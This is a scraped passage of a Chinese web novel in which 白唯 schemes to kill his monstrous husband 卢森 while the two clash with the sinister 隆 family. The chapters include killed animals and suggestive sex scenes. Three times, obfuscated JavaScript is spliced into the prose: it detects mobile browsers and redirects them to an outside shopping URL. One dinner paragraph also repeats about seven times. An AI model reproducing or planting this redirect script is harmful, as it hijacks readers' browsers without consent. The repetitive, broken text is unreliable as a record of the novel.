卢森微笑:“那当然亲爱的。我的自学能力……我是说我的复习能力是很强的。我可是有九个大脑。” 白唯那点别扭的小情绪一下子就没了。他目瞪口呆:“你有九个大脑?” 卢森:“哦哦我是说……这是个法国俚语。意思是我很聪明。” 法国有这个俚语吗你这个白痴。 白唯本想嘲笑卢森几句此刻旁边却传来了一个人的声音:“哦……没想到我们又见面了。” 白唯和卢森同时转头瘦弱青年坐在轮椅上看着他们这边。他看起来和善眼里却闪动着各种复杂情绪。 “亲爱的你认识他?”卢森抢先开口。 “刚刚认识的。他是隆夏隆冬的弟弟。”白唯道。 隆夏一直看着白唯像是在期待他能问什么问题似的。片刻后竟然是卢森先开了口:“你在这里等人吗?” 隆夏强压住自己的失望和不满。他道:“对我在等我哥哥过来接我……” 卢森这一开口就让白唯觉得事情变得麻烦起来了。此刻正是傍晚学生还要晚自习这个侧边校门口除了他们和保安亭里的保安外空无一人。而在等人的隆夏还是坐着轮椅一脸虚弱的样子。 这种情况下白唯只能开口留下来陪伴他直到有人来接他为止。可卢森竟然抢先一步开口了:“是吗?那我们……” “那我们就先回去了。” ? 白唯有点难以置信卢森却表现得自然而然。他对隆夏说:“放学快乐!” 不对劲这绝对不对劲。卢森对于在雪山镇经营自己的名声有着超乎寻常的热忱。他会给所有医生护士准备小礼物 所以卢森怎么可能在这时做出这样白目的行为。 白唯很快判断出来:卢森是故意的。可这让他更茫然了。 卢森故意的理由是什么呢? 校门栅栏吱呀吱呀地打开。一个男人走了进来。他和隆冬长得有两分像和轮椅上的隆夏则有五分相似却看起来比这两个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992588|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都要苍老。男 人西装革履,脚上皮鞋发亮,戴着金丝眼镜,显然是刚下班过来的行业精英。 “哥哥!”隆夏大声说。 男人显然是来接隆夏的,但当他看见白唯和卢森后,立刻皱起了眉头:“你们二位是……” 用词很礼貌,但明显带着居高临下的态度。隆夏说:“他们两个是新来的代课老师。” “哦,幸会幸会。”男人如是说,却连手都没有伸出来,极其敷衍。 一直注视着这一切的隆夏笑了。他说:“他们是白唯和卢森。哥哥你应该听姐姐说过的,就是姐夫的大学同学。” “哦哦,是你们!” 在知道白唯和卢森的身份后,男人的态度明显发生了变化。他露出矜持的笑容,也伸出了手:“我是隆春。隆冬的弟弟,现在在银行上班。多谢你们对我弟弟的照顾。” 白唯象征性地和他握了下手。这个人前后态度的明显转变让他感到不太愉快。可隆春的态度变得“热情”了起来。 “之前都是听别人说到你们,今天是第一次遇见。麻烦你们陪隆夏等我,晚上想一起吃个饭吗?我在这附近最好的餐厅有个位置。” 白唯道:“不必了。我们回去做饭。” “白唯哥,今天下午时,你不是说家里没有买菜吗?”隆夏忽然开口。 他看向白唯的表情天真又热忱,像是真的很想感谢他的照顾似的。白唯还想继续拒绝,卢森却道:“亲爱的,我们不如和他们一起去吃个饭看看吧。” 卢森又对隆春道:“你们打算去哪个餐厅?” 白唯:? 不知为何,他总觉得卢森葫芦里不知道在藏着什么药。但既然如此,白唯也点头道:“好。” 就在他们转身向车子走去之际,隆夏看着他们的背影,眼里有怒火燃烧。 白唯和卢森刚一走远,隆春也突然变了脸色。他推着他的弟弟,压低了声音,脸上也压着怒火般地道:“好好的怎么又跑到学校来。你没让他们进你的画室、看到你的画吧?” “就是看到了又怎么样?”隆夏嗤笑道。 作者有话要说 感谢在2024-07-1717:20:54~2024-07-1819:44:23期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出浅水炸弹的小天使:波妞5201个; 感谢投出地雷的小天使:好喜欢恶毒美人受、67638313、哲狗1个; 感谢灌溉营养液的小天使:九枝松50瓶;熙来攘往36瓶;男德工工妈21瓶;盐岩、藏远、白色雨天、是十20瓶;是妍不是研、明昧、预知梦、惜别眼泪、温简言的狗、你咋啥都赖我呢、南南、糖、lsy、不觉晓10瓶;三明治加果酱9瓶;太6瓶;谢珩、木子、v我50、倚风独上危楼、清辉戎黎5瓶;绿色小阿晋4瓶;云3瓶;重生之我在jj看男同2瓶;漆瞳你什么时候更新、可爱想日、士多啤梨、一个斯帕纳、Xxxx、老婆你说句话呀、化学化学、无名之辈、十字、Hyena、糯糯滋、小血砸、一块老冰糖、A倾国倾城小画家、自得其乐、冰冰糖啵啵鱼、云边有五层云、我是你的先生啊、朗、小玑我带走了、且书生意气、疏霓、P10、低调。1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 44 章 我要那个 一顿晚饭吃得白唯如坐针毡。还好,卢森坐在他的旁边,可以替代他开口,这缓解了他的很多尴尬。 隆春称赞了老板娘的品味,和她家负有盛名的红酒。然而酒一入口,白唯就知道这绝不是隆春嘴里说的那个酒庄。 原因无他——他喝过。少年时祖父带他去那里度假谈生意,他不得不在那座酒庄里住了一个暑假,尝各种各样的酒尝到快要吐了。因为祖父认为,学会品酒也是上流社会该有的体面。 一顿晚饭吃得白唯如坐针毡。还好,卢森坐在他的旁边,可以替代他开口,这缓解了他的很多尴尬。 隆春称赞了老板娘的品味,和她家负有盛名的红酒。然而酒一入口,白唯就知道这绝不是隆春嘴里说的那个酒庄。 原因无他——他喝过。少年时祖父带他去那里度假谈生意,他不得不在那座酒庄里住了一个暑假,尝各种各样的酒尝到快要吐了。因为祖父认为,学会品酒也是上流社会该有的体面。 一顿晚饭吃得白唯如坐针毡。还好,卢森坐在他的旁边,可以替代他开口,这缓解了他的很多尴尬。 隆春称赞了老板娘的品味,和她家负有盛名的红酒。然而酒一入口,白唯就知道这绝不是隆春嘴里说的那个酒庄。 原因无他——他喝过。少年时祖父带他去那里度假谈生意,他不得不在那座酒庄里住了一个暑假,尝各种各样的酒尝到快要吐了。因为祖父认为,学会品酒也是上流社会该有的体面。 一顿晚饭吃得白唯如坐针毡。还好,卢森坐在他的旁边,可以替代他开口,这缓解了他的很多尴尬。 隆春称赞了老板娘的品味,和她家负有盛名的红酒。然而酒一入口,白唯就知道这绝不是隆春嘴里说的那个酒庄。 原因无他——他喝过。少年时祖父带他去那里度假谈生意,他不得不在那座酒庄里住了一个暑假,尝各种各样的酒尝到快要吐了。因为祖父认为,学会品酒也是上流社会该有的体面。 一顿晚饭吃得白唯如坐针毡。还好,卢森坐在他的旁边,可以替代他开口,这缓解了他的很多尴尬。 隆春称赞了老板娘的品味,和她家负有盛名的红酒。然而酒一入口,白唯就知道这绝不是隆春嘴里说的那个酒庄。 原因无他——他喝过。少年时祖父带他去那里度假谈生意,他不得不在那座酒庄里住了一个暑假,尝各种各样的酒尝到快要吐了。因为祖父认为,学会品酒也是上流社会该有的体面。 一顿晚饭吃得白唯如坐针毡。还好,卢森坐在他的旁边,可以替代他开口,这缓解了他的很多尴尬。 隆春称赞了老板娘的品味,和她家负有盛名的红酒。然而酒一入口,白唯就知道这绝不是隆春嘴里说的那个酒庄。 原因无他——他喝过。少年时祖父带他去那里度假谈生意,他不得不在那座酒庄里住了一个暑假,尝各种各样的酒尝到快要吐了。因为祖父认为,学会品酒也是上流社会该有的体面。 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隆春称赞了老板娘的品味,和她家负有盛名的红酒。然而酒一入口,白唯就知道这绝不是隆春嘴里说的那个酒庄。 原因无他——他喝过。少年时祖父带他去那里度假谈生意,他不得不在那座酒庄里住了一个暑假,尝各种各样的酒尝到快要吐了。因为祖父认为,学会品酒也是上流社会该有的体面。 第 45 章 狗 “你又发疯了是吧,你之前杀的那些还不够多吗?” “你明明说过的。你说过你会成为我的腿的!”隆夏用手用力锤击着轮椅,“你骗我,你和所有人一样,都在骗我!” “我恨他!”他忽然又大声道,“他看不起我、害了我……可他一点都不记得!” 在目睹隆夏凄惨癫狂的表情后,隆春又把话咽回了肚子里。他近乎绝望地看着隆夏:“好,这次你要什么,兔子还是狗?” “狗。”隆夏说。 在得到哥哥的许诺之后,他又暂时地恢复了平静,只盯着桌子上唯一完好无损的同学录出神。所有的东西都被砸碎了,只有这本同学录,完美地躺在一片瑕疵之间。 隆夏不许任何人动它,也不许任何人使用它。但隆春知道,隆夏大概是痴迷于这本同学录里存在的某个人。 半夜,隆春终于从弟弟的房间里疲惫地出来。面对仆人们的询问,他什么也不能说,而且,他也只能靠自己来做这件事——完成隆夏给他的任务。 否则所有人都将会知道,隆夏已经变成了一个彻头彻尾的变态。 所有悲剧都是从什么时候开始的呢?他想。 似乎一切,都是从隆夏去外地上中学后开始的。 从小到大,隆春对自己这个被宠坏的弟弟并不亲近。尤其是在弟弟获得了去外地的好学校读书的机会后,他总会觉得自己的父母在盼望着自己的弟弟过一个和自己“不一样”的、更高更远的人生。 就像一座城堡,总会留下一个主人守家,另一个人则被寄予期望去开疆扩土,探索更大的世界。 这份“不一样”让隆春很不舒服。如果隆夏在父母眼里是不一样的,那他这样的孩子又算什么呢? 直到从初二的某一天开始,隆夏整个人都变了。他变得比过去更经常和家里人发脾气,却总会莫名流露出恐惧瑟缩神态,就像他在学校里被欺负了一样。隆春忙于学习,很少回家,对弟弟的变化并不关心。而他也知道,他父亲对弟弟的关心结果会是什么样的——除了叫他做个强者之外,不会有别的词。 小孩子一定是会懂得自我调节的。隆春如是想。果然,在半年后,隆夏不再向着阴郁的深渊里越滑越远,相反,他像是痴狂地崇拜着另一个人。 他神经兮兮地搬回家一个酒盒,把它供在柜子的高处。他把自己关在房间里,整天看那个人看过的书籍和影视作品。他狂热地想要接近那个人,跟踪他、监视他、甚至尝试登陆对方的社交账号……这一切都是后来许多年里,隆春从隆夏的哭喊声中得知的。 他哭着说那个人如此完美,可他的心里根本没有他。 而后,一场意外事故地方的发生导致了隆夏的转学。在转学后,隆夏如变了个人一样。他一举一动都在模仿着“那个人 就连他的成绩也变得异常的优异。隆秋甚至因此说:“我听别人说,哥的成绩突然好得像是开始作弊一样。不过只要高考见真章,这些流言就都会被打破了吧。 然而这种不稳定的平衡,依旧在隆夏高考前的那场车祸里被彻底颠覆了。 隆家父母希望隆夏能以残疾人的身份参加高考。但隆夏拒绝了,他把自己关在房间里,像是永远也不要出来。 隆春以为他只是意志消沉。恰好,他也更伤心于隆秋的离去。而且,隆夏的消沉也是一件好事。这样隆家的财产,就能都归于他所有,而不会被另一个男性继承人划去一大笔了。 ——至于隆冬,她从来不在隆家的家产计划里。否则,他们的父母也不会强烈地要求她去读护理专业,又回到雪山镇工作、陪伴在他们的身边。 直到一天半夜醒来——隆春很少半夜醒来,但那天他的心慌得厉害。在隆秋去世后,他总有心烦意乱时去她的房间逛逛的习惯。然而这次,他没有看见隆秋养的小狗。 那是一只很英俊的小狗,全家人都很喜欢它,尤其是隆秋。在隆秋去世后,它替代了她的主人,住在那个房间里,作为一种爱的纪念。 它很忠诚也很听话。它不会半夜乱叫,也不会跑走。 属于妹妹的房间里空无一物,属于隆夏的房间前却有点点血迹。隆春就在那时推开了隆夏的房门,然后看见了让他毕生难忘的那一幕—— 那条小狗,血淋淋地躺在地板中央。它的旁边是手握着菜刀的隆夏。 隆夏握着菜刀,手在抖,脸上却在撕心裂肺地笑。他看起来就像是他认为自己已经成为了一 名强者。隆春本以为自己会冲上去抓住他、质问他、责打他…… 可他那一刻,竟然恐惧得一句话也不敢说。 这个年过23的男人,在镇上拥有着最前途无量的工作和体面的未来的男人,恐惧的不是自己的弟弟,而是恐惧全小镇的人都知道,他有一个疯子弟弟。 这对他们隆家来说,将是多大的损失啊! 他背着人,悄悄把那只狗的尸体掩埋了。在那之后他就成为了隆夏最坚固的“共犯——不情不愿,厌恶至极,可还是不得不替他处理各种麻烦事,乃至于出于“安抚对方的目的,给对方带来新的受害者。 而这一切,隆冬都并不知晓。隆春也没有让她知晓的必要,因为他认为,隆冬早晚都是外人。 可怜的隆冬此时还不知道隆家的遗嘱里根本没有她的份呢。她那贪慕虚荣的丈夫也不知道。如今隆春也只是因为隆夏疯着,而不好提出分家的事。 他稳定着隆夏的精神状态,自觉承担了巨大的压力。他支持隆夏去他的画室,画那些或许都是残肢碎肉血糊巴拉的画。他被迫给隆夏找来他需要的动物和工具,好让隆夏少做点发脾气的行为。他说服隆夏多待在家里少出门,他甚至没有问隆夏…… 当年,隆夏的成绩到底是不是作弊得来的。他在高考之前发生车祸,到底是不是一个巧合。 而如今,隆夏又疯了。其实隆春已经注意到,从半年前白唯一家搬来之后,隆夏就变得很不对劲。他花费大量时间泡在网上,和一些记者发消息,甚至接受采访,暗中散布谣言…… 隆春没懂隆夏为什么唯独对白唯有那么大的敌意,难道是因为嫉妒,难道是因为无聊?但能有一个转移隆夏注意力的人,他觉得这很好。 可现在,隆夏又疯了,而且疯得比之前还厉害。联系到今天的吃饭,隆春忽然意识到,或许白唯就是当年“伤害了隆夏的那个完美的同学。 隆夏嫉妒他,想要成为他,却始终没有成功。而现在,命运的巧合又让他偏偏搬到了这座小镇上。根据今天吃饭时的印象,白唯的丈夫卢森的确很不客气也很没有礼貌。但白唯除了最后被冒犯到后说的那番话,其他时候可谓是礼貌优雅,乃至于“软弱可欺 虽然白唯没做错什么——大概率没做错什么 ,但他只能出手,想方设法逼走他了。隆春手指敲击着楼梯扶手,如是想着。 谁让白唯只是个闯入了小镇的外地普通人呢。 而他们一家,要更复杂,在这里盘踞得更久。 …… 白唯把卢森推进了家里,而不是让他手摇着轮椅上台阶。 他把换下的衣服放进洗衣篮里,明天要穿的衣服熨平,一举一动优雅又麻利,像是一个很懂得生活的普通居民。最终,他盯着墙上的日历,叹了口气。 被高温蒸汽虐待着的衣服差不多让他平静下来了。他今天实在不该在餐厅里逞一时之气的。要知道,他的首要目标应该是干掉卢森然后离开。在这里的生活,本就是卢森给他带来的。 现在距离他第一次杀卢森,已经过去了快三个月。 他到底在想什么?他没有趁着卢森断腿的机会抓紧时间想办法干掉他,然后离开,而是在小镇上一次次节外生枝? 可白唯实在是想给那家人一些教训。白唯握着熨斗,阴郁地想。 他们现在有足够的触犯到他的理由了吗? 自从被白家请来的心理医生进行治疗后,白唯坚定了一个想法,他不希望自己的生活完全被自己扭曲的人格所控制、影响。他需要在自己干掉、欺骗、恶毒对待其他人以获得快感和平静合规的生活之间做一个取舍。最终,他给自己定下了一个规则。 他只对影响到他生活环境的洁净的人出手。无论是街角骚扰同事的吸/毒流浪汉,还是神龙见首不见尾的跟踪狂。 可他现在还找不到这家人的罪责。而且这家人先死,卢森再死,通过交集点寻找凶手……白唯的嫌疑是不是太明显了? 果然,应该赶紧让卢森先死。一年后他再返回雪山镇,再干掉被他找到罪责的隆春。 正在白唯思考之际,他身后传来了卢森的声音:“亲爱的?” 没有轮椅挪动的声音,没有跳动的声音,按理说卢森应该已经在二楼了……白唯回头,竟然没有看见人。 直到他低头,看见卢森趴在他的脚下。 白唯:“……” 卢森:“亲爱的,我想下楼找你,但腿不能动,于是就爬着下来了。” 白唯面无表情地张开五指,任由滚烫的熨斗砸在 卢森的脸上。 卢森果然神龙见首不见尾地躲开了熨斗以致于熨斗砸在了他的脑袋旁边。白唯就在这时翘着手指说:“亲爱的你把我吓坏了我不小心就松手了呜呜。” 卢森立刻安慰他:“天哪!别哭了这坏熨斗!它差点就烫伤你的手了!这不是你的错!” 白唯:…… 他只是想把老公烫死而已他有什么错。卢森竟然以为白唯会认为扔掉熨斗是他自己的错罪无可赦再判处一次死刑。 白唯在收拾熨斗时顺便把电线剪开泡在了熨斗漏出来的水里试图将趴在地面上的卢森电死。结果依然令人失望。当他回头时卢森正努力支撑着扶着门框站起来。他手握着电线道:“宝宝这个熨斗也太劣质了不仅容易滑还漏水还漏电。” 白唯:“老公你都没有被电死啊真是太好了。” 卢森:“以后你不要熨衣服了让我来熨吧。” 卢森究竟是闪开了电还是电也电不死他。 白唯臭着脸坐回沙发上。他难以控制自己看向各处地板思考卢森究竟一路上蹭了多少灰。 就算是怪物也该稍微像个正常人一样吧!他恼火地想着。 他的丈夫坐在另一个沙发上。白唯如是说:“你怎么想到忽然下来?” 卢森顶着有点被烫卷的脑袋:“其实我今晚有些话想说。” “什么话?”白唯心想卢森不会又说一些弱智的话吧。 “关于你的情绪。我本来以为你今天不太开心但你刚才主动推我进房子还帮忙扶我上二楼——这明明是你心情好的时候才会做的事。”卢森说 白唯:…… 他表现得这么明显吗。白唯转开眼珠嘴上却道:“怎么会?老公我只是上班太累了。我明明一直都有扶你、推你……你是不是对我不满呀?” “哦我不是在兴师问罪。我只是想要确认一件事——我让你生气了吗?” 卢森无比专注地看着白唯。他湛蓝的眼睛像是求知的天空之境这让白唯更加没办法把转开的眼珠再挪回来了。 因为只要一看向前方就不得不和卢森对视。 “你因为我对 隆春和隆夏的粗暴态度生气了吗?一直以来,我都在尝试对镇子上的每个人表示友善。我注意到你也是这样做的,你想对每个人保持礼貌。” “如果你不喜欢的话……” 白唯在那一刻,喉咙有些发干了。 他有点手足无措,因为没想到卢森竟然会对他说这个。这个白痴怪物,刚才不还顺着楼梯爬行下来吗? 他总是在生活里做出这些让人难以忍受的、离谱的事情。可他这一刻,竟然在这样细致地问他的感受。 小心翼翼,就像他做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101037|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错了什么一样。 卢森做错的事情,拥有的原罪,损害的白唯的利益何止这一件。即使他询问了这个问题,白唯也不会放过他。白唯就是这样,他总会为欺骗、恶整卢森而感到高兴。 可这一天,他说了实话。 “没有。你做得很好,我也不喜欢他们。” 他说。 “哦,我想也是。你虽然没有表现出来,但我想任何人被这样示威,都会觉得不高兴。”卢森道,“所以自从回来后,我一直在想,他们的依仗是什么,是什么让他们觉得自己高我们一等。金钱、地位、权力、暴力……人类崇拜和惧怕的,无外乎是这些。我们必须让他们意识到,我们已经远远超过他们。在这几项里,通过金钱的方式,是最容易的。” 白唯皱眉:“你要花我的钱?” 他真想拒绝卢森进行这些意气之争。这一刻,反社会的白唯觉得自己反而平和理智起来了。毕竟卢森搞隆春一家,花掉的是他要继承的遗产。 卢森:“不,我要赚更多钱。” “这倒也是。你已经很久没去你的修车店里了……” “不,我想要开展新业务。光是修车店,已经不够我洗……喜悦地赚钱了。我必须有另一项业务来解释我赚很多钱的原因。”卢森说,“比如开民宿。” 白唯:…… 白唯用难以置信的眼神看着他。他喃喃道:“是什么让你还没放弃这个想法?” 卢森:“雪山镇风光优美,我们会有很多顾客的。” 白唯:“这一年,你见过任何人来这里旅游吗?” 白唯简直很崩溃。卢森又在想诡异的东西。众所周知,创业失败是最烧钱的。卢森在异想天开 的同时也在烧掉他自己的遗产。显然他不知道卢森觉得自己的想法有多精妙。毕竟其他民宿老板是想要赚钱卢森只要考虑洗钱就够了。 “我们会有很多顾客的。”卢森说。 到时候他会想办法操纵自己的壳让他们作为顾客住在各个房间里以此来制造他的账目。 “而且 他在未来褪下的壳会越来越多所以顾客也会越来越多。 “我想顾客们也不会有很多要求。” 死人怎么会有要求。 “而且你完全不用操心经营的事情。我也不希望你去见那些顾客。” 毕竟他们都是我的壳。 白唯:…… 卢森:“亲爱的你在想什么?” 夜灯下白唯看着他对他凉凉的笑了:“亲爱的我在想那天我的左轮手枪里只有七发子弹——这可真是太倒霉了。或许其中一枚子弹射入你的脑袋会让你清醒一点。” 他交叠着双腿双手合十放在胸前好像真的在为他祈祷似的。 “……好吧。”许久之后卢森闷闷道“我会再做更多计划的。” “你不需要任何计划……” “你是我的老婆怎么能让别人欺负你。”卢森说“他们对你的每句不尊重的话都让我觉得这是我的失职。” “因为我本可以成为世界之王。” 卢森最后的那句话更是荒诞好笑得没边了。可白唯却因为他的倒数第二句话怔了一下他转开眼睛垂下眼眸。 一个很荒诞的想法出现在他的脑海里。 难道卢森这只怪物真的很喜欢他? “算了。”白唯最终道“你想试的话……就试试吧。” 当白唯感到羞赧和不自在时他总会挪开眼睛偏过头将脊背绷得更紧。卢森想。 这个姿势总是会让他雪白的锁骨分毫毕现总在领子里若隐若现的后脖颈也会因此暴露出来。 白唯总是觉得自己很坏白唯也确实很坏。但卢森总能从那些好的坏的价值判断部分之外发现白唯的别的部分。 比如白唯喜欢吃牛肉比如白唯喜欢蓝色的西服比如白唯喜欢推背感。 比如白唯永远不知道自己有多诱人。 就像他现在,转身想要上楼。白唯还在说:“其实我仔细想了想…… “其实我还有句话想说。 “嗯? “你推我的轮椅,把我扶上二楼,是因为你喜欢我这样做。你喜欢我恶毒地对待你也讨厌的人,这是你给我的奖励吗?你觉得,我是你的乖狗狗。 “呃…… 白唯猝不及防。一片红晕烧红了他的耳根。他又惊又恼地看向卢森,难以相信卢森会说出这样孟浪的话来。 而且他也根本不明白,方才他们不是还在说正经事吗?怎么卢森忽然这样说话? 但下一刻,卢森对他说的话让他觉得更加可怕。 “乖狗狗想舔你。卢森捉起他的手腕,眼睛一眨也不眨地看着他,“可以吗? 作者有话要说 感谢在2024-07-2017:37:14~2024-07-2116:26:06期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出手榴弹的小天使:是鸭鸭、拾酒1个; 感谢投出地雷的小天使:好喜欢恶毒美人受、Xxxx1个; 感谢灌溉营养液的小天使:驯养22瓶;天木仟19瓶;拂槛露华、转生成为宿星川的第一15瓶;CheshireNeko、千里共婵娟14瓶;小眠12瓶;。11瓶;倾倒一座城、周生、乱码一堆、维吉尔的狗、姜姜的中尉Sama10瓶;三年单身换cp成真、橘子味狗狗啊、xichcj5瓶;60396012、云3瓶;也是蠢得可以、朗、究惑久久2瓶;老婆你说句话呀、34590880、橖鷬、世界快爆炸、慕雅、天心月、老婆我有花苦茶、漫卷于光、一个斯帕纳、介凉丰、五夏绝配、扣jio大汉派、52495417、冰冰糖啵啵鱼、雾岚、酒酿圆子、疏霓、十字、间歇性神经递质发疯实、自得其乐、常若深鳩1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 46 章 猫好狗坏 就像是有一朵烟花,在胸口深处炸开了。 卢森低着头。他强大的身体弓着,手臂青筋遒劲,他那双比白唯更加巨大有力的手却托着白唯修长的手腕——他如此强大,白唯粉白的指尖又如此纤细,好像凸出的一根青筋就有白唯的指尖那么大。 可他在白唯面前却如此驯服、如此忠诚。 他低头,舔了舔白唯的指尖。 指尖被濡/湿的舌头包裹,不像是小狗,而像是生长着倒刺的强大野生生物,在他的面前做出了大狗的模样。卢森湛蓝的双眼专注地看着白唯,眼瞳里只映着白唯的面容。 就像只要白唯一个命令,他就会扑出去咬人,把一切令白唯讨厌的人类撕得稀碎。 即使白唯已经在他的项圈里藏好了用来毒死他的毒药。 那一刻,白唯感觉自己心花怒放。 “他会是我的猎犬的,在我干掉他之前。”白唯这样想着。 猎犬开始舔他的手臂。白唯伸手,尝试揉了揉卢森的脑袋,然后是后颈。他的手指原本紧张,害怕自己会碰到某种滑腻腻、冷冰冰的怪物,就像他在枕边看到的那种,让他恐惧的海洋生物。 但卢森的头发蓬松柔软,洗得很干净,有白唯买回家的洗发水的味道。他的脖颈也温暖,脉搏在皮下跳动,可以摸到卢森的脊椎。白唯于是鼓励性地摸了摸他。 就像主人在抚慰自己养的大狼狗。 卢森抬起鼻子看他。他鼻梁的线条很完美,或许是因为刚蹭过被他舔过的、白唯的手,他的鼻尖看起来竟然湿漉漉的。 还挺乖的。白唯被此迷惑,竟然觉得他毫无攻击性。 在这个世界上——在这个白唯独自长大的、孤独又冰冷的世界上,在这个要面对无数人的规矩、无数礼仪的限制的世界上,白唯第一次拥有了属于他自己的东西,不是一个由于家族利益选择结合的未婚夫,不是一个时刻可能反水的公司合作者,而是一条属于他的恶犬,一只会狂吠、也会冲出去咬人的恶犬。 他会用牙齿咬碎一切来自外界的攻击,他会用尖爪替他撕碎一切他想要破坏的不怀好意。这只恶犬曾经对于白唯来说,看起来有多么危险,有多么不可预测,那么,他对于外人而言,就有多么可怕。 白唯在那一刻甚 至感到惊喜了。他是雪山镇唯一一个和卢森结婚的人,他和卢森才是利益共同体,卢森会被他驾驭着攻击外面的所有人,而不是攻击他,这是多么令他高兴的一件事啊! 在过去,他怎么从来没有想到这点呢! 由于心情愉悦,白唯破天荒地接受了卢森对自己的亲近,他掐着对方的后颈,任由对方扶着自己的腰,让自己坐在他的身上。白唯主动调整了一下自己的姿势,好让自己坐得舒服一点,也不至于坐到卢森的伤腿。 或许这才是成年人该有的暮春之夜,不是吗?通过一些合法合规的生理活动,享受一些多巴胺,而不是像过去一样,只有想着欺骗和谋杀,想着死亡和鲜血,想着杀老公时才能愉快地笑起来…… 白唯就在这个潮湿的暮春之夜里,看着窗玻璃上反射出来的自己,忽然明白了“及时行乐”的意义。 反正天还没亮,距离真正杀死卢森的那天还有很远……白唯愉快地闭上眼。他靠在卢森身上,没有叫他“老公”。 而是说: “乖狗狗。”他红唇微启,低声道,“我们在一个小时之内结束,好吗?明天还要去学校。” ……然而白唯很快就发现,他错了。 大错特错,错得离谱。首先卢森虽然的确听了他的话,减轻了力度,但没有在一个小时内结束。其次他万万没想到,卢森在这个晚上除了舔他的手指和脚踝之外,还舔了很多别的东西。 …… 第二天白唯从床上爬起来时,已经日上三竿。在他撑着身体,要惊慌地从床上爬起来时,他的身侧传来声音。 “亲爱的,不用急。我们今天早上都没课。” 白唯:…… 他用自己光/裸的背对着卢森——即使那雪白的皮肤已经是点点红痕,但也总比和卢森面对面的好。白唯瞳孔疯狂闪烁,他表情扭曲,在耳朵泛起红晕的同时,又发现自己此刻面对卢森,心里只有心虚。 ……他们两个昨天,昨天怎么能做那样荒唐的事情! 白唯努力想要显得自己若无其事。可当他扣好扣子,从床上站起来要离开卧室时。他耳边传来卢森的声音。 “怎么回事,一早醒来,怎么都不敢看我一眼。” 白唯把脑袋转到另一边去。或许是太过 于反常识、羞恼、而且在努力让自己失忆,白唯都忘记了生气。但卢森又伸手拦住了他。 在卢森伸手去解他扣子时,白唯终于不得不维持着偏头的姿势,和卢森说话了。 “下午还要上课……”他竟然感觉自己有点低声下气的,可能是因为太羞耻了。一个从小受到良好教育的绅士怎么能做那样的事。 “不是的宝宝,你的扣子系错了。”卢森说。 “……” 白唯从小到大,从来没有做过把扣子系错,自己却还没发现这种事! 怎么想都是卢森的错! 卢森在这时低沉地笑了笑,又低头贴到白唯耳边说:“亲爱的,你还想要的话,我们晚上回来再做。” 白唯转头怒瞪他,却又看见卢森的嘴唇,于是他又把头转了回来,直直地盯着前方,仿佛马上就要上台进行联合国演讲。 卢森怎么好意思这样的! 而且,不是卢森自己说,要做他的狗吗! 狗怎么能这么坏? 白唯连续在客厅喝了三杯冰水才让自己冷静下来。此时卢森终于也从二楼爬下来了。上肢健壮的卢森已经学会了自己把自己挪到轮椅上。他坐在玄关里,对白唯说:“小猫,我们走吧。” “嗯……你刚才说什么?!” 正在拍打外套灰尘的白唯难以置信地看着他。 “小猫啊。”昨晚还自称为狗的男人理所应当地说,“亲爱的,你看起来就像是一只炸了毛的白色长毛小猫。” “……” 白唯手中的外套被他拍得梆梆响。他用一种“你马上就要死了”的表情看着卢森。 卢森厚颜无耻地坐在轮椅上:“小猫不用再收拾毛皮了,你的毛毛昨天已经被我舔得干干净净……啊——” 白唯打开了房门,把他一脚顺着楼梯踹了出去。 两个人赶在上课铃刚响时,踩着最后一秒来到了卢森的教室。教室里的诸多同学已经翘首以盼许久。见白唯推着卢森来了,他们惊喜道:“师娘送老师过来啊!” “卢老和师娘好恩爱!” “……” 误会了,只是白唯不能眼看着卢森在诸多学生面前迟到罢了。他原本是收走了轮椅,开走了车,想要卢森自己爬去学校的。 只有班长很困惑:“卢老师的伤怎么看着比昨天还严重了?” 白唯只作无事发生状。他假笑道:“先不打扰你们上课了。我再过一节课还有课。” 卢森:“好的小猫,我们晚上见。” 白唯走了两步,差点没一个趔趄摔到花坛里。 卢森!! 他怎么敢的!! 他怎么能在这么多人面前管他叫小猫? 白唯几乎是在学生们善意的笑声中落荒而逃了。他逃过偌大的校园,逃过漫长的走廊,最终一路跑回无人的美术办公室。他把自己的脸埋在桌上,用力按住自己狂跳的心脏。 女老师刚进来时,就听见白唯在说话,而且很生气似的:“……他根本没有做好一条狗。” “啊?狗?”女老师一愣,“白唯你养狗了?” 白唯阴郁地看着前方。 “很大一只。”他说。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101038|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 